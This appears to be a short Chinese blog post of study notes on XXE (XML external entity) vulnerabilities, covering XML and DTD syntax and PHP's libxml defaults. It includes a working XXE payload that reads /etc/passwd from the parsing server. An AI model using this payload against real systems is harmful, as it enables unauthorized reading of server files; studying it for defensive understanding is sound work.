风中人-cool

导航

12-XXE漏洞

1.概述

<!--第一部分:XML声明-->
<?xml version="1.0"?> 
<!--第二部分:文档类型定义DTD-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ENTITY entity-name SYSTEM "URL/URL"> <!--外部实体声明-->
]]]>
<!--第三部分:文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。
1. DTD 内部声明
<!DOCTYPE 根元素 [元素声明]> 2. DTD 外部引用
<!DOCTYPE 根元素名称 SYSTEM “外部DTD的URI”>
3. 引用公共DTD
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>


外部实体引用payload:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
外部引用可以支持http,file,ftp等协议。
如果一个接口支持接收xml数据,且没有对xml数据做任何安全上的措施,就可
能导致XXE漏洞。


simplexml_load_string() 
函数转换形式良好的 XML 字符串为 SimpleXMLElement 对象
在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外
部实体内容的。

 

posted on 2021-02-19 16:58  风中人-cool  阅读(23)  评论(0编辑  收藏  举报